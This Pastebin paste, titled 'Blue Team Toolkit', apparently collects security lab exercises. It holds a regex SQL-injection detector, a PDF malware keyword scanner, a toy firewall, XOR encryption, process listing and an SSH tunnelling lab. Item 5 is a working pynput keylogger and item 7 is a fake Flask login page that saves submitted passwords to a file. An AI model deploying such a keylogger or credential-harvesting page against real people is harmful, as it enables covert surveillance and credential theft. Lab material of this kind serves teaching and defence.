API tools faq
paste
Advertisement
xosski

Blue Team Toolkit

xosski
Dec 25th, 2024
18
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.10 KB | None | 0 0
raw download clone embed print report
  1. 1.SQL injection
  2. import re
  3.  
  4. def check_sql_injection(input_string):
  5. sql_injection_patterns = [r"(['\";=(){}|&^])", r"(--|\s+OR\s+|UNION\s+ALL\s+SELECT)", r"(\bSELECT\b|\bDROP\b|\bUPDATE\b)"]
  6.  
  7. # Check for any SQL Injection patterns using regular expressions
  8. for pattern in sql_injection_patterns:
  9. if re.search(pattern, input_string, re.IGNORECASE):
  10. return f"Potential SQL Injection detected. Please sanitize inputs."
  11.  
  12. return "No SQL Injection detected."
  13.  
  14. input_string = input("Enter a string to check for SQL injection: ")
  15. result = check_sql_injection(input_string)
  16. print(result)
  17.  
  18. 2.PDF malware analysis
  19. from pypdf import PdfReader
  20.  
  21. def check_pdf_for_malware(pdf_path):
  22. # Suspicious keywords associated with malware
  23. suspicious_keywords = ['/js', '/JavaScript', '/AA', '/open_action']
  24.  
  25. try:
  26. reader = PdfReader(pdf_path)
  27. pdf_safe = True
  28.  
  29. for page_num, page in enumerate(reader.pages):
  30. text = page.extract_text()
  31. if text:
  32. for keyword in suspicious_keywords:
  33. if keyword in text:
  34. print(f"Malicious PDF detected: Keyword '{keyword}' found on page {page_num + 1}")
  35. pdf_safe = False
  36. break
  37. else:
  38. print(f"Page {page_num + 1} has no extractable text.")
  39.  
  40. if pdf_safe:
  41. print("The PDF is safe.")
  42. else:
  43. print("The PDF contains suspicious content.")
  44. except Exception as e:
  45. print(f"Error processing PDF: {e}")
  46.  
  47. pdf_path = 'sample.pdf'
  48. check_pdf_for_malware(pdf_path)
  49.  
  50. 3.Simple Firewall
  51. def simple_firewall(packet):
  52. trusted_ips = ["192.168.1.100"]
  53. trusted_ports = [80, 443] # HTTP and HTTPS
  54.  
  55. if packet["src_ip"] in trusted_ips and packet["dst_port"] in trusted_ports:
  56. return True
  57. return False
  58.  
  59. packets = [
  60. {"src_ip": "192.168.1.100", "dst_ip": "192.168.1.200", "dst_port": 80},
  61. {"src_ip": "192.168.1.101", "dst_ip": "192.168.1.200", "dst_port": 80},
  62. {"src_ip": "192.168.1.100", "dst_ip": "192.168.1.200", "dst_port": 22},
  63. ]
  64.  
  65. for packet in packets:
  66. if simple_firewall(packet):
  67. print(f"Packet allowed: {packet}")
  68. else:
  69. print(f"Packet blocked: {packet}")
  70.  
  71. 4.Symmetric XOR encryption/decryption
  72. def xor_encrypt_decrypt(input_string, key):
  73. input_bytes = bytearray(input_string, 'utf-8')
  74. output_bytes = bytearray([byte ^ key for byte in input_bytes])
  75. return output_bytes.decode('utf-8', 'ignore')
  76.  
  77. key = 123 # XOR key (choose a proper key)
  78. original_text = input("Enter the message to encrypt: ")
  79.  
  80. encrypted_text = xor_encrypt_decrypt(original_text, key)
  81. print(f"Encrypted: {encrypted_text}")
  82.  
  83. decrypted_text = xor_encrypt_decrypt(encrypted_text, key)
  84. print(f"Decrypted: {decrypted_text}")
  85.  
  86. 5.Key logger
  87. /*import pynput
  88. from pynput.keyboard import Key,Listener
  89. log_file="keylog.txt"
  90. def on_press(key):
  91. with open(log_file,"a")as f:
  92. try:
  93. f.write(key.char)
  94. except AttributeError:
  95. if key==Key.space:f.write(" ")
  96. elif key==Key.enter:f.write("\n")
  97. elif key==Key.tab:f.write("\t")
  98. else:f.write(f"{key}")
  99. def on_release(key):
  100. if key==Key.esc:return False
  101. listener=Listener(on_press=on_press,on_release=on_release)
  102. listener.start()/*
  103. 6.Process listing new Linux user
  104. # Step 1: Create a new user
  105. sudo adduser username
  106.  
  107. # Step 2: Login as the new user
  108. su - username
  109.  
  110. # Step 3: Create a script to display all processes
  111. nano process_list.sh
  112.  
  113. # Step 4: Write the following commands in the script
  114. #!/bin/bash
  115. ps aux
  116.  
  117. # Step 5: Give execute permissions to the script
  118. chmod +x process_list.sh
  119. ls -l process_list.sh
  120.  
  121. # Step 6: Execute the script
  122. ./process_list.sh
  123.  
  124. 7.Phishing Simulation
  125. from flask import Flask, render_template_string, request
  126. import os
  127.  
  128. app = Flask(__name__)
  129.  
  130. LOGIN_PAGE = """
  131. <!DOCTYPE html>
  132. <html>
  133. <head>
  134. <title>Login Page</title>
  135. </head>
  136. <body>
  137. <h2>Login</h2>
  138. <form method="POST" action="/login">
  139. <label for="username">Username:</label><br>
  140. <input type="text" id="username" name="username" required><br><br>
  141. <label for="password">Password:</label><br>
  142. <input type="password" id="password" name="password" required><br><br>
  143. <button type="submit">Login</button>
  144. </form>
  145. </body>
  146. </html>
  147. """
  148.  
  149. CREDENTIALS_FILE = "credentials.txt"
  150.  
  151. @app.route('/')
  152. def home():
  153. return render_template_string(LOGIN_PAGE)
  154.  
  155. @app.route('/login', methods=['POST'])
  156. def login():
  157. username = request.form.get('username')
  158. password = request.form.get('password')
  159. with open(CREDENTIALS_FILE, 'a') as f:
  160. f.write(f"Username: {username}, Password: {password}\n")
  161. return "<h2>Login successful!</h2>"
  162.  
  163. if __name__ == '__main__':
  164. if os.path.exists(CREDENTIALS_FILE):
  165. os.remove(CREDENTIALS_FILE)
  166. print("Starting the dummy login server. Open http://127.0.0.1:5000 in your browser.")
  167. app.run(debug=True)
  168.  
  169. 8.SSH Tunneling
  170. Experiment 8 - SSH Tunnelling
  171. Set up 2 VMs and demonstrate SSH Tunnelling between them
  172. Prerequisites
  173. - Kali Linux Virtual Machine
  174. - Metasploitable Virtual Machine
  175. Step 1
  176. Launch both VMs and run the ifconfig command to get IPs of both devices.
  177. Step 2
  178. Ping VM1 and VM2 from each other using ping <IP> command from both VMs to confirm connectivity between both VMs.
  179.  
  180. Step 3
  181. Install SSH and Python on both terminals using the following commands:
  182. sudo apt update
  183. sudo apt install openssh-client
  184. sudo apt install python3 or sudo apt-get install python3
  185. Step 4
  186. Start python server on Metasploitable VM (victim)
  187. python3 -m http.server 8080 or python -m SimpleHTTPServer 8080
  188. Step 5
  189. Use SSH to connect to victim VM from Kali VM (attacker)
  190. ssh -L 9090:localhost:8080 msfadmin@<Metasploitable_IP>
  191. If this does not work use the following command
  192. ssh -o HostkeyAlgorithms=+ssh-rsa -L 9090:localhost:8080 msfadmin@<Metasploitable_IP>
  193. Step 6
  194. In Kali VM, Open the browser and search http://localhost:9090. You can see the content of Metasploitable VM
  195.  
  196.  
  197.  
  198.  
Tags: tools Toolkit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!